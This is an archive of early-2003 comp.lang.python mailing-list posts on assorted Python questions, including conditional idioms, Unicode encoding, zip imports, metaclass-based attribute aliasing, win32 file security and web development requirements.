To my opinion, only a project manager are missing to PythonWin and Idle fork
to make a "perfect" IDE.

--Gilles






From peter at engcorp.com  Mon Jan 13 11:40:03 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 13 Jan 2003 11:40:03 -0500
Subject: OT: spam filtering idea
References: <7xr8bhhy0n.fsf@ruckus.brouhaha.com>
Message-ID: <3E22EBE3.7C4E2114@engcorp.com>

Paul Rubin wrote:
> 
> Yeah there are better newsgroups for it, but this is where I hang out
> and the subject has come up here.  I just thought of it after seeing
> the "join our community" thing here on c.l.py.
> [snip ideas] 
> Thoughts?

I've been thinking for some time that this is a perfect area for genetic
algorithms.  They will automatically adapt to changing conditions just
as your low-pass filter concept would, but I suspect the number of false
positives and negatives could eventually be quite low.

Of course, upgrading the Internet to require authentication in email
would probably be an even more effective approach...

-Peter



From rmunn at pobox.com  Fri Jan 24 12:10:04 2003
From: rmunn at pobox.com (Robin Munn)
Date: Fri, 24 Jan 2003 17:10:04 GMT
Subject: 1-line idiom to replace if blocks
References: <3e2cf624@post.usenet.com> <c718a6cf.0301232005.326b8068@posting.google.com>
Message-ID: <slrnb327s9.5jj.rmunn@localhost.localdomain>

Y2KYZFR1 <jarrodhroberson at yahoo.com> wrote:
> "Jonathan P." <jbperez808 at yahoo.com> wrote in message news:<3e2cf624 at post.usenet.com>...
>> **** Post for FREE via your newsreader at post.usenet.com ****
>> 
>> I hate code that takes up too many lines and
>> have come up with the ff. idiom to replace
>> many 4 line if statements:
>> 
>> result=[value-if-false,value-if-true][condition]
>> 
>> This idea could also be applied as a compact
>> switch block replacement in certain cases.
>> 
> 
> God I feel sorry for anyone that has to come behind you and work on
> any code you ever write. If you are this lazy not to write out a
> simple if statement where other people can come behind you and
> understand it.
> 
> The entire idea behind Python even more so than other languages is
> maintance and readablity and you whack jobs just insist on making it
> convoluted and obfuscated!
> 
> It does not show how clever you are, just how lazy and inconsiderate
> you are. I have fired people for less than this personally!

Let's keep the heat down, shall we? Here, have an iced tea. :-)

Actually, there are occasional times when being able to express an
if-then-else statement in a single expression is very useful
(*cough*lambda*cough*). Most of the time, writing out the complete
if-then-else is better, yes. But there may be times when using a 1-line
idion may result in cleaner-looking code. Let's say you're registering a
bunch of callback functions:

    # The idiom [false_val,true_val][condition] is equivalent to the C
    # idiom (condition ? true_val : false_val)...
    register_callback(1, lambda retval: ['Error','OK'][bool(retval)])
    register_callback(2, lambda retval: ['Error','OK'][bool(retval)])
    register_callback(3, lambda retval: ['Error','OK'][bool(retval)])
    register_callback(4, lambda retval: ['Error','OK'][bool(retval)])
    register_callback(5, lambda retval: ['Error','OK'][bool(retval)])
    register_callback(6, lambda retval: ['Error','OK'][bool(retval)])

And so on. This example is somewhat contrived, but not extremely so,
unfortunately. I expect I will encounter occasional times when I'll need
to use a a?b:c-like idiom and nothing else will do...

-- 
Robin Munn <rmunn at pobox.com>
http://www.rmunn.com/
PGP key ID: 0x6AFB6838    50FF 2478 CFFB 081A 8338  54F7 845D ACFD 6AFB 6838



From chris.lyon at spritenote.co.uk  Sun Jan 19 14:13:39 2003
From: chris.lyon at spritenote.co.uk (Chris Lyon)
Date: 19 Jan 2003 11:13:39 -0800
Subject: Strange windows behavior
Message-ID: <d232c5e.0301191113.1ec6f9e5@posting.google.com>

I'm not sure how this has happened but I'd love an explanation of how
it could be achieved.

This happens on all installation of 2.1.3, 2.2.2 and I assume it must
be a characteristic of my machine but how have I managed to do it?

if I run idle python interface works as expected.

I type:-

if 1: 'enter key' print 'spam'

all behaves as expected the print 'spam' indents

If I try the same on the command line after typing python

 the line after the 1: displays 3 dots BUT puts the print directly
below the if, on pressing Enter this produces syntax error as you
would expect,
If I add  a tab by hand before print 'spam' it works as expected.
However the cursor always returns to the first column when auto
indentation should be working.

How is this possible, different responses from python? Both versions
(idle and command line ) are returning the same version numbers, I've
unistalled and rebooted enough times to convince myself it's
happening, Do I need a complete operating reinstallation + patches to
correct this or have I found another section of the manuals I haven't
read properly?



From LogiplexSoftware at earthlink.net  Thu Jan 16 18:21:11 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 16 Jan 2003 15:21:11 -0800
Subject: Copyright on the Python and Python-console icons?
In-Reply-To: <GCEDKONBLEFPPADDJCOEOEMHHGAA.whisper@oz.net>
References: <GCEDKONBLEFPPADDJCOEOEMHHGAA.whisper@oz.net>
Message-ID: <1042759270.27815.206.camel@software1.logiplex.internal>

On Thu, 2003-01-16 at 14:11, David LeBlanc wrote:
> <snip>
> > They found 10 pounds of C code hidden under your mattress.  Turns out
> > later it was just the "Hello, world" example for MFC, so no charges will
> > be filed *this time*.

> Of course if you've merged a Python interpreter with that example,
> Monopoly$oft might have something to say about it ;)

That would come to 10.5 pounds ;)

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From riccardo at Togli_Quest0sideralis.net  Sun Jan 12 17:44:53 2003
From: riccardo at Togli_Quest0sideralis.net (Riccardo Galli)
Date: Sun, 12 Jan 2003 23:44:53 +0100
Subject: pythoncard: what's wrong in my code?
References: <pan.2003.01.12.16.45.28.368632@Togli_Quest0sideralis.net> <h0iU9.29$xm3.29268@news.uswest.net>
Message-ID: <pan.2003.01.12.22.44.51.558179@Togli_Quest0sideralis.net>

Now everything works and I know where to search for PythonCard
info.
Thank you.

-- 
-=Riccardo Galli=-

 _,e.
s~  ``
 ~@.   ideralis Programs
.   ol 
 `**~  http://www.sideralis.net




From chrisk at nipltd.com  Thu Jan 30 19:02:29 2003
From: chrisk at nipltd.com (Chris Keyes)
Date: Fri, 31 Jan 2003 00:02:29 +0000
Subject: Segmentation fault??
References: <3E39794D.8030203@nipltd.com> <87u1fqs9bu.fsf@mit.edu>
Message-ID: <3E39BD15.5080602@nipltd.com>

Alex Coventry wrote:
> you may want to check that your memory is still good.  
> 
> alex.

The machine later rebooted its self, can't find any hardware faults with 
  my test suite, but that would hit that it was Linux / Hardware that 
was screwed and not Python.

Thats cool, I can always use another box :-)

Thanks for your help guys :-)

Chris




From chrisk at nipltd.com  Thu Jan 16 16:41:10 2003
From: chrisk at nipltd.com (Chris Keyes)
Date: Thu, 16 Jan 2003 21:41:10 +0000
Subject: Newbe: Python Exercise
References: <XUEV9.2900$zH5.176@nwrddc03.gnilink.net>
Message-ID: <3E2726F6.5030604@nipltd.com>

Pavs

My understanding of concatenate is to join 2 strings together...

so "Hello" concatenated with "Pavs" would give "HelloPavs"

Your program works, not sure if the space should be inserted but I'm 
sure someone else will let you know that :-)

Hope that helps you...

I'm interested to know if anyone else has experience with "Learning to 
Program Using Python: A tutorial for hobbyiests, self-starters and all 
those who want to learn the art of computer programming" 0201709384

I've ordered but not received Core Python Programming, so hopefully 
thats worth a read, but not sure when I'll have time.

Python - Essential Reference (New Riders)is great once you get going, 
I've lived out of my copy and know many others do to, but not quite a 
beginners book. You'll probably want the Python 2.1 version, not the 
Python 1.52 edition which is often dirt cheap at discount shops.

Online I quite liked http://www.diveintopython.org

And lastly they guys here have been a great help so far, the community 
is probably the best bit of open sourse dev :-)

Have fun!

Chris

pavs wrote:
> # Write a program that gets 2 string variable and 2 integer variable for 
> the user,
> # concatenates(joins them together with no space) and displays the strings,
> # then multiplies the two numbers on a new line.
>  
> print
> print "Exercise:-"
> str1 = raw_input("Type First String: ")
> str2 = raw_input("Type Second String: ")
> num1 = input("The First Number: ")
> num2 = input("The Second Number: ")
> print "str1 & str2 =", str1, str2
> print "num1 * num2 =", num1*num2
>  
> --------------------
>  
> Hi, I want to know if this is what it meant, when it asked for 
> "Concatenate"? If not, isn't this another way to do it?
>  
> Also, I am currently reading the Book: "Non-programmers Tutorial For 
> Python" By, Josh Cogliati.
> Is there any other online book you guys would recommend?
>  
> Thanks,
> pavs
> 
>  
>  
> 
>  




From jweingart at gmx.de  Mon Jan  6 17:55:05 2003
From: jweingart at gmx.de (Jan Weingärtner)
Date: Mon, 6 Jan 2003 23:55:05 +0100
Subject: newbie: unicode
Message-ID: <avdv6k$clp$1@news.online.de>

Hi.

I'm just beginning to learn Python.
My tutorial gives an example how to convert a unicode
string to utf-8:

>>> u"???".encode('utf-8')
'\xc3\xa4\xc3\xb6\xc3\xbc'

If i try to execute this command, i get the error message:
"UnicodeError: ASCII encoding error: ordinal not in range(128)"

Why?

thanks and regards,
Jan





From bkc at Murkworks.com  Thu Jan 30 09:58:47 2003
From: bkc at Murkworks.com (Brad Clements)
Date: Thu, 30 Jan 2003 09:58:47 -0500
Subject: Sending Novell Message from Python
References: <825b84d0.0301300150.3685bbf2@posting.google.com> <ousmvb6i5l.fsf@andlx-anamika.cisco.com>
Message-ID: <3e393d19_1@spamkiller.newsgroups.com>

You can create an extension module to call the Netware client interface
(NWCallsInit) and then NWSendMessage.

Though, it's far easier to system('z:send "my message text" groupname')



--
Novell DeveloperNet Sysop #5

_
"Ganesan R" <rganesan at myrealbox.com> wrote in message
news:ousmvb6i5l.fsf at andlx-anamika.cisco.com...
> >>>>> "Mak" == Mak  <makwaiming at yahoo.com> writes:
>
> > Hi All,
> > In my working environment, I need to do some administration works that
> > involves informing a group of person. Currently, I do that by Send
> > Message of Netware Services. That works but I would like to integrate
> > the send message part with other tasks which currently is performed
> > with Python. So, anybody know whether that is possible or not ? If
> > yes, how can I do ?
>
> I have no idea if there's a python binding for NetWare but you can launch
> a command line program to do it (NET SEND or something like that).
>
> Ganesan
>
> --
> Ganesan R




-----------== Posted via Newsfeed.Com - Uncensored Usenet News ==----------
   http://www.newsfeed.com       The #1 Newsgroup Service in the World!
-----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =-----



From dave at pythonapocrypha.com  Sun Jan  5 08:27:18 2003
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Sun, 5 Jan 2003 05:27:18 -0800 (PST)
Subject: Distributing Python apps
In-Reply-To: <GCEDKONBLEFPPADDJCOEKEDBHCAA.whisper@oz.net>
References: <GCEDKONBLEFPPADDJCOEKEDBHCAA.whisper@oz.net>
Message-ID: <Pine.LNX.4.51.0301050521210.14759@ns0.tbye.com>

On Sat, 4 Jan 2003, David LeBlanc wrote:

> Taking a quick glance at just Python, I don't think your goal of putting
> Python + app + data on a single 1.44mb floppy is realistic.
>
> Python installer on windows is 6+mb.
>
> Installed Python is at least 1+mb just for dll's and libs (not including doc
> and examples etc.), of which some parts may not be needed by your app.
> Additional specialist dll's and scripts needed by your app not included in
> that estimate.
>
> In terms of a download, I'm betting that 2+mb for a runtime only including
> application bytes (binaries and doc) is more likely.

This is certainly true for a general-purpose install of Python, but with
a little work you _can_ get an application-specific install of Python down
to well under 1 MB. One application currently shipped by the company I
work for is a small Win32 client app that, including a GUI (not too
complex - a main dialog box with 2 or 3 others), is an .exe at just under
512 KB. It took some effort to get that small, but to get in the sub-1 MB
range was pretty easy.

-Dave




From whisper at oz.net  Mon Jan 20 14:20:55 2003
From: whisper at oz.net (David LeBlanc)
Date: Mon, 20 Jan 2003 11:20:55 -0800
Subject: Import from zip file?
In-Reply-To: <b0hcu6$a8a$0@216.39.172.122>
Message-ID: <GCEDKONBLEFPPADDJCOEEEPDHHAA.whisper@oz.net>

Isn't import from zip/tgz/bzip supported in python 2.3, as well as extending
support for user written importers?

David LeBlanc
Seattle, WA USA

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of Bengt Richter
> Sent: Monday, January 20, 2003 9:51
> To: python-list at python.org
> Subject: Re: Import from zip file?
>
>
> On 20 Jan 2003 16:35:45 +0100, martin at v.loewis.de (Martin v.
> =?iso-8859-15?q?L=F6wis?=) wrote:
>
> >k.robert at gmx.de (Robert) writes:
> >
> >> What is the easyiest way to import modules/module-trees from zip
> >> files (Python 2.2)?
> >
> >Unpack the zip file, then add the directory to sys.path.
> >
> How deep is the dependence of import on the file system?
> I.e., what is the role of the file name ('.' name)* after the file data
> has been found and loaded? It seems like it's mainly to be recorded
> in sys.modules to prevent re-loading, so that sharing results.
>
> Is there a reason you couldn't have import recognize a zip or tgz file
> as a virtual file directory tree to search and import from there,
> given a little hint via alternate syntax, e.g.,
>
>     import foo from 'bar.zip' as baz  # note the quotes -- it's a
> file spec, not dotted module
>
> where foo could go in sys.modules and baz could be the local binding.
> baz.__name__ would be foo, and
>     sys.modules['foo'] is baz => True.
>
> Seems like any byte stream ought to be able to be made to work too, even
>
>     import spam from sys.stdin
>
> with no local as-alias, it would be spam, and spam.__name__ would be spam,
> resulting in sys.modules['spam'] is spam => True.
>
> and it could recognize a string after the from and open that as a
> normal file
> path spec without dotted notation, though you might even be able
> to introduce
> that specifically too, e.g.,
>
>     import hum.haw from '~/stuff/ho/hawfile' as foo
> and get
>     sys.modules['hum.haw'] is foo => True.
> (but leaving out sys.modules['hum'] I suppose).
>
> Regards,
> Bengt Richter
> --
> http://mail.python.org/mailman/listinfo/python-list





From anthony at interlink.com.au  Sun Jan 19 07:06:25 2003
From: anthony at interlink.com.au (Anthony Baxter)
Date: Sun, 19 Jan 2003 23:06:25 +1100
Subject: spambayes rocks 
In-Reply-To: <rulk2v0346as3faklg246o9ct42n359t2u@4ax.com> 
Message-ID: <200301191206.h0JC6PH29218@localhost.localdomain>

>>> Chris Spencer wrote
>  I saw a post about spambayes from Tim Peters a couple of days
> ago. I went to the homepage (http://spambayes.sourceforge.net/)
> and downloaded the most recent CVS tree. I used the pop3proxy in
> conjunction with Forte's Agent email program. I must say, after a 15
> minute training period, I'm pleasantly stunned by the effectiveness
> of this spam filter. I think it'd help people out if the maintainers
> could release like a 0.10 version on sourceforge. Not everyone "gets"
> CVS.

Working on it - there's a first pre-release of the 1.0 version of the 
package available now. At the moment we're bedding down the packaging
and integration issues. Please, go to the website, try the release,
and send feedback to the spambayes list.

Anthony




From menion at asylumwear.com  Sun Jan 19 02:47:16 2003
From: menion at asylumwear.com (Joshua Schmidlkofer)
Date: 18 Jan 2003 23:47:16 -0800
Subject: a fairly ugly/kludgy way to get 'aliases' in Python
In-Reply-To: <1042949436.4925.6.camel@x1-6-00-04-5a-64-c4-03>
References: <f57664b9.0301161552.5dff2038@posting.google.com>
	 <mailman.1042827297.2914.python-list@python.org>
	 <f57664b9.0301171934.58612fa@posting.google.com>
	 <1042949436.4925.6.camel@x1-6-00-04-5a-64-c4-03>
Message-ID: <1042962435.3913.166.camel@menion.home>

On Sat, 2003-01-18 at 20:10, Cliff Wells wrote:
> On Fri, 2003-01-17 at 19:34, Jonathan P. wrote:
> > Cliff Wells <LogiplexSoftware at earthlink.net> wrote in message news:<mailman.1042827297.2914.python-list at python.org>...
> > 
> > > I don't think performance will be affected either way (it's all
> > > dictionary lookups).  Still, I wonder why you don't just use:
> > > 
> > > class A:
> > >     def __init__(self):
> > >         self.long_descriptive_name = 0
> > >         self.long_descriptive_name2 = 10
> > > 
> > >     def x(self):
> > >         alias1 = self.long_descriptive_name
> > >         alias2 = self.long_descriptive_name2
> > >         self.alias = alias2 * alias1
> > > 
> > > which would seem to be the equivalent, more readable form.
> > 
> > Ah but this won't work.  You need to do the D_[alias1]=newvalue
> > trick to get the value assigned to self.long_descriptive_name.
> > The behaviour is different and that's why I wonder if there
> > is a speed penalty involved.
> 
> Yes, after I posted this, I suddenly realized what you meant.  Then I
> frantically tried to reverse time, to a few seconds before I hit the
> send button, only to fail at that as well.  It seems I've lost my
> superpowers and will be forced to actually read posts before replying to
> them as I clearly can't rely on time-travel any more.  I'll probably
> have to start wearing my tinfoil hat again too.
> 
> Sadly,
> 
> -- 
> Cliff Wells <clifford.wells at attbi.com>

No... just start taking your pills again.


-- 
VB programmers ask why no one takes them seriously, 
it's somewhat akin to a McDonalds manager asking employees 
why they don't take their 'career' seriously.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 196 bytes
Desc: This is a digitally signed message part
URL: <http://mail.python.org/pipermail/python-list/attachments/20030118/745d111d/attachment.sig>

From pyth at devel.trillke.net  Thu Jan 30 10:32:04 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Thu, 30 Jan 2003 16:32:04 +0100
Subject: rlcompleter2 0.95 Interactive Completion
In-Reply-To: <3e393cc3_1@spamkiller.newsgroups.com>; from bkc@Murkworks.com on Thu, Jan 30, 2003 at 09:57:18AM -0500
References: <mailman.1043883014.5209.python-list@python.org> <3e393cc3_1@spamkiller.newsgroups.com>
Message-ID: <20030130163204.T10804@prim.han.de>

Brad Clements wrote:
> I didn't find your email address on your website (oh hey, there it is below)

thanks, fixed the site. 

> 
> Anyway, another install option (instead of PYTHONSTARTUP) is to put code in
> sitecustomize.py

Doesnt 'sitecustomize.py' get executed also with non-interactive sessions
(normal apps)?!

    holger




From tundra at tundraware.com  Wed Jan 29 19:00:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 30 Jan 2003 00:00:07 GMT
Subject: [win32all]: Problem With Win98
Message-ID: <brp91b.9g02.ln@boundary.tundraware.com>

The following call works fine when applied to a Win 2000 machine, but
fails as shown when applied to a Win 98 machine.  I realize that there
is a world of difference between older and newer Win implementations
viz security, but I would have thought the API would hide these differences.

Anyone have any ideas on what the problem might be here (M: is a
Win98 shared disk space - command was issued from a PythonWin
session running on a Win 2000 machine):


 >>> GetFileSecurity("M:\\autoexec.bat", OWNER_SECURITY_INFORMATION)
Traceback (most recent call last):
   File "<interactive input>", line 1, in ?
MemoryError: allocating SECURITY_DESCRIPTOR


My overall goal here is to obtain owner and group information for
each file in a directory.  This fragment of code works just swell
on 2000 systems and samba shares from unix - 'fn' is a fully
qualified file name as in "C:\\foobar.txt" - but it fails
(thus assigning UNAVAILABLE for owner/group) on Win98:

         try:
             # Get the internal Win32 security information for this file.
             ho     = GetFileSecurity(fn, OWNER_SECURITY_INFORMATION)
             hg     = GetFileSecurity(fn, GROUP_SECURITY_INFORMATION)
             sido   = ho.GetSecurityDescriptorOwner()
             sidg   = hg.GetSecurityDescriptorGroup()

             # We have to know who is hosting the filesytem for this file

             drive = fn[0:3]
             if GetDriveType(drive) == win32con.DRIVE_REMOTE:
                 fnhost = WNetGetUniversalName(drive, 1).split('\\')[2]
             else:
                 fnhost = WIN32HOST

             # Now we can translate the sids into names

             owner  = LookupAccountSid(fnhost, sido)[0]
             group  = LookupAccountSid(fnhost, sidg)[0]

         # We assume the values are unavailable on any error
         except:
             owner = UNAVAILABLE
             group = UNAVAILABLE


------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From bokr at oz.net  Fri Jan 17 20:07:37 2003
From: bokr at oz.net (Bengt Richter)
Date: 18 Jan 2003 01:07:37 GMT
Subject: a fairly ugly/kludgy way to get 'aliases' in Python
References: <f57664b9.0301161552.5dff2038@posting.google.com> <mailman.1042827297.2914.python-list@python.org>
Message-ID: <b0a9cp$4a8$0@216.39.172.122>

On 17 Jan 2003 10:12:45 -0800, Cliff Wells <LogiplexSoftware at earthlink.net> wrote:

>On Thu, 2003-01-16 at 15:52, Jonathan P. wrote:
>class A:
>>   def __init__(self):
>>     self.long_descriptive_name=0
>>     self.long_descriptive_name2=10
>> 
>>   def x(self):
>>     D_=self.__dict__
>>     alias1='long_descriptive_name'
>>     alias2='long_descriptive_name2'
>>     D_[alias]=D_[alias2]*D_[alias1]
          ^^^^^--would have to be alias1 to correspond to next 2 lines
>>     # instead of self.long_descriptive_name =
>>     #  self.long_descriptive_name*self.long_descriptive_name2
       D_[alias1]=D_[alias1]*D_[alias2] # to correspond to above 2 lines
Note that the order in the preceding line is different from your alias version.
It might seem like a nit, but if you are multiplying matrices it's not.

>> 
>> Question: 
>>   Will the dictionary lookup 'D_[alias]' impose a
>>   performance penalty versus 'self.long_descriptive_name' or
>>   will the compiler do the same thing internally anyway in
>>   both cases?
>
>I don't think performance will be affected either way (it's all
>dictionary lookups).  Still, I wonder why you don't just use:
If anything, it might be a shade faster since attribute logic must
do a little work before getting to the __dict__ he's specifying directly.
>
>class A:
>    def __init__(self):
>        self.long_descriptive_name = 0
>        self.long_descriptive_name2 = 10
>
>    def x(self):
>        alias1 = self.long_descriptive_name
>        alias2 = self.long_descriptive_name2
>        self.alias = alias2 * alias1
>
>which would seem to be the equivalent, more readable form.
>
Not quite equivalent. You are binding self.alias with the result,
and he is binding self.<whatever the string value of alias is supposed to be>

(Except I think it was a typo and either his alias1 was supposed to be alias or vice versa).

If you want to do table-driven aliasing in another way, look at the x method below, yet note
that the actual values are stored with the long-name attributes (as seen with vars(a)).
Of course, I'm not sure what all this is about ;-)

===< t_alias.py >==============
class Aliaser(type):
    def __new__(cls, name, bases, cdict):
        for alias, orig in cdict['__rw_aliases__']:
            d = {'alias':alias, 'orig':orig}
            exec ("""\
def _get_%(alias)s(self): return self.%(orig)s
def _set_%(alias)s(self, v): self.%(orig)s = v
%(alias)s = property(_get_%(alias)s, _set_%(alias)s)
""" % d) in cdict
        return type.__new__(cls, name, bases, cdict)

     
class A(object):
    __metaclass__ = Aliaser
    __rw_aliases__ = [
        ('alias1', 'long_descriptive_name'),
        ('alias2', 'long_descriptive_name2')
    ]
    
    def __init__(self):
        self.long_descriptive_name = 1
        self.long_descriptive_name2 = 10
        
    def x(s):
        s.alias1 = s.alias2 * s.alias1

if __name__ == '__main__':
    a = A()
    print A, '=>', a
    for i in range(3):
        print 'alias1=%-4s alias2=%-4s %s' % (a.alias1, a.alias2, vars(a))
        a.x()
===============================

Maybe the long descriptive stuff belongs in doc strings and/or help material
if it's just going to clutter things.

Here's what the output looks like:

[17:12] C:\pywk\meta>t_alias.py
<class '__main__.A'> => <__main__.A object at 0x007DCFE0>
alias1=1    alias2=10   {'long_descriptive_name': 1, 'long_descriptive_name2': 10}
alias1=10   alias2=10   {'long_descriptive_name': 10, 'long_descriptive_name2': 10}
alias1=100  alias2=10   {'long_descriptive_name': 100, 'long_descriptive_name2': 10}

Regards,
Bengt Richter



From sholden at holdenweb.com  Thu Jan  9 09:22:44 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Thu, 9 Jan 2003 09:22:44 -0500
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>
Message-ID: <MCfT9.20936$u9.17157@fe08>

"Afanasiy" <abelikov72 at hotmail.com> wrote in message
news:6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71 at 4ax.com...
> I've written this method for a text formatting class...
> But it's ugly as sin. With all those self's I consider
> it much less readable than it could be...
>
> A few languages provide syntax sugar for dealing with
> this by allowing you to localize the class scope.
>
> Does Python? eg. `with self do:`
>
>   def format( self, width=80 ):
>     self.lines = ['']
>     i = 0
>     for word in self.text.split():
>       if self.textwidth(self.lines[i]) + self.textwidth(word) <= width:
>         if self.textwidth(self.lines[i]) > 0:
>           self.lines[i] += ' '
>         self.lines[i] += word
>       else:
>         i += 1
>         self.lines.append(word)
>
http://www.python.org/cgi-bin/faqw.py?req=show&file=faq06.031.htp

regards
-----------------------------------------------------------------------
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/
-----------------------------------------------------------------------






From abelikov72 at hotmail.com  Mon Jan 20 23:15:02 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Tue, 21 Jan 2003 04:15:02 GMT
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com> <MgZW9.41168$Hl6.4924133@news010.worldonline.dk>
Message-ID: <iugp2vs55csq6l9nv9l6ghqse4dfr6a0td@4ax.com>

On Mon, 20 Jan 2003 21:50:43 +0100, Max M <maxm at mxm.dk> wrote:

>Afanasiy wrote:
>
>> * Run on the same hardware I use currently
>> 
>> * Be as fast or faster than Apache+PHP
>>   (I'm sorry to say Zope/Roxen are not)
>>   (This might mean it must use Apache)
>> 
>> * Use a similar amount of memory
>>   (ie. not Java/.NET related)
>
>
>So you want the advantages of Python, but none of the trade-off's. Well 
>wouldn't we all?

I was not aware Python required trade-offs involving memory or cpu use in
order to compete with PHP. In my experience Python is much much faster for
basic scripting. I hoped that speed could be put to use on a web platform.

>> * Allow all errors to be caught and handled so users never see them
>>   (I currently send them to an email address)
>>   (Users are notified an error occurred and a developer contacted)
>
>
>try/except works like a charm for this. Use it myself.

That works, yes. A wider scope error handler is preferred, but this
this can be irrelevant if an auto prepend/append file is allowed.

>> * Allow sending of raw binary data, for restricted file downloading
>>   (eg. http://example.com/sendfile.php?id=A6DE12FAB3...etc)
>>   (This requires header manipulation, specifically the mime type)
>>   (That sort of thing should be part of the framework 3 bullets up)
>
>
>It is not quite clear what you mean here. But if you want to send a file 
>from your server to another webserver/form, you just use urllib/urllib2. 
>If you want to receive files on your server it is built into the cgi module.

To clarify, this requirement means I need to be able to completely replace
the request result such that it is in effect returning a binary file for
download. This is often used for secure downloading of protected files.

This requirement implies some method for customizing request result
headers, specifically Content-type/disposition/transfer-encoding/etc.
A good platform will simply allow customization of all headers.
(Header modification, as mentioned, is part of the framework requirement)

Additionally, some platforms might have a problem with including the
binary file as the actual result of the request (after the headers).

>> * Allow SSL secured authorize.net credit card processing
>>   (I currently use PHP's libcurl+ssl module)
>
>
>Doesn't Apache do this?

No, this requirement is not about running an SSL HTTP server. This
requirement is about *programmatically* sending data to a secured remote
server via POST and receiving a response. This is how authorize.net works.

This requirement does imply an SSL capable HTTP server in order to
securely obtain said data from the user (only if you do that though).

All of these requirements imply an HTTP server as well... :p

> [plenty of things snipped]

I am looking for suggestions on a platform which might provide all of
these things. A platform, using Python, which can compete well with PHP.



From mgarcia at cole-switches.com  Mon Jan 20 15:06:05 2003
From: mgarcia at cole-switches.com (Manuel M. Garcia)
Date: Mon, 20 Jan 2003 20:06:05 GMT
Subject: buffer overflow
References: <b0808g$b4j$2@wheel2.two14.net> <mailman.1042778911.1136.python-list@python.org> <3veh2v4drk4bq5vlnggqevgvlt6ik6fanh@4ax.com> <3E28C2BF.FDFFA36E@engcorp.com>
Message-ID: <vdlo2vgf57788ik3ioeifk7bv3t3pf0mim@4ax.com>

On Fri, 17 Jan 2003 21:58:07 -0500, Peter Hansen <peter at engcorp.com>
wrote:

>donoli wrote:
>> 
>> I also tried it as a remote exploit from one machine to another which
>> was my original intenetion but I failed to mention it in my original
>> post.  
>
>That's no problem... we inferred it anyway.
>
>> I wanted to find some code where I could do something like:
>> python buffer.py > 192.160.0.2    That also forced python to close.
>> 
>> Is there a way to do something like that?  Also, can you explain
>> bufferobjet.c?
>
>Sounds like a French implementation of the Buffer object, to me...
>
>-Peter


If I was drinking milk, it would have shot out of my nose!

Manuel



From torsten.maass at imms.de  Sun Jan 12 15:08:50 2003
From: torsten.maass at imms.de (torsten.maass at imms.de)
Date: Sun, 12 Jan 2003 21:08:50 +0100
Subject: How does a C API-function returns a list  to python
Message-ID: <3E21CB52.61543E67@imms.de>

Hi,

I want to write a communication-functions set for a special
hardware component for python using C API.

Does anybody know if and how it is possible to return a list 
to python from a read C-Array.

e.g.
c-function myfunction:
.....

double a[5]={1.0,2.0,3.0,4.0,5.0};
....
return Py_BuildValue("???",a)
....



python:
>>>  a=[0.0,0.0,0.0,0.0,0.0]
>>>  a=myfunction.command(some_args)
>>>  a
[1.0,2.0,3.0,4.0,5.0]
>>>



From runen at sdf-eu.org  Sat Jan  4 12:03:20 2003
From: runen at sdf-eu.org (Rune Nesheim)
Date: Sat, 04 Jan 2003 17:03:20 GMT
Subject: Calling a python program within a python program
References: <mailman.1041689649.9078.python-list@python.org>
Message-ID: <pan.2003.01.04.17.09.05.932539@sdf-eu.org>

> Is there any function from which I can call the another program. (The program 
> is Python script only).

You can simply import it into your python program.




From vanevery at 3DProgrammer.com  Fri Jan 31 18:50:35 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Fri, 31 Jan 2003 23:50:35 GMT
Subject: Python training time (was)
References: <3e36d04e_2@news.vo.lu> <pu@myRealBox.com> <mailman.1043781593.6864.python-list@python.org> <2pqd3vstctf2s1ubv1d7mps5brbh21bi9v@4ax.com> <kB1_9.3814$wd2.301194@newsread2.prod.itd.earthlink.net> <EO6_9.140743$AA2.5799807@news2.tin.it> <n5h_9.5386$Wu1.386311@newsread1.prod.itd.earthlink.net> <irh_9.106910$0v.3087534@news1.tin.it>
Message-ID: <fZD_9.914$ek4.91595@newsread2.prod.itd.earthlink.net>

Alex Martelli wrote:
>
> Your ear is playing you false, again.  The short time it takes
> to become highly productive with Python does not afford any
> substantial chance of becoming much better with C++: the
> latter is just too complex for any _rapid_ improvement.

Ok, here's how my life went.  In May 1992 I graduated from university.  In
January 1993 I sat down with a 486 Linux PC and learned C++.  It took me a
year.  By the end of that time, I'd done every single abstruse thing
possible with C++.  Really ridiculous multiple inheritance templates with
cyclical virtual base classes and whatnot.  So, having spent the time up
front, C++ hasn't been a big deal for me for 10 years.  Recently I brushed
up on some of the "new" ANSI C++ stuff.  A small pile of additional things I
don't need much.  I don't have a single funky_cast operator in my entire
code base now, although I had 1 or 2 over the past 6 months.

So, how much time do you have to put into Python before you've mastered
*every* aspect of the language?  I do mean "every."  Less than a year?  6
months?  3 months?  Be honest.

> indeed between a whole nation's impoverishment and enrichment.

I hate to break it to you, but gratuitous complexity *maintains*
relationships of power.  Consider lawyers, for instance.  On the open
market, my C++ skills are worth more money to more people than your Python
skills.  It's going to be quite some time before that picture changes.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From mcfletch at rogers.com  Mon Jan 13 12:05:15 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Mon, 13 Jan 2003 12:05:15 -0500
Subject: slow loop?
In-Reply-To: <1964c4d7.0301130842.2f693958@posting.google.com>
